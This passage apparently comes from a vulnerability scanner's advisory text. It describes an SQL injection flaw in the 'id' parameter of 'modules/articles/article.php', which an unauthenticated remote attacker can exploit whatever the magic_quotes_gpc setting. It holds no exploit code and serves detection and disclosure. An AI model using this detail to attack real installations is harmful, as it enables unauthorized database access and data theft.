properly sanitize user-supplied input to the 'id' parameter of the
'modules/articles/article.php' script before using it to build a
database query.  Regardless of PHP's 'magic_quotes_gpc' setting, an
unauthenticated, remote attacker can leverage this issue to launch SQL
injection attacks against the affected application, leading to
discovery of sensitive information, attacks against the underlying
database, and the like.");
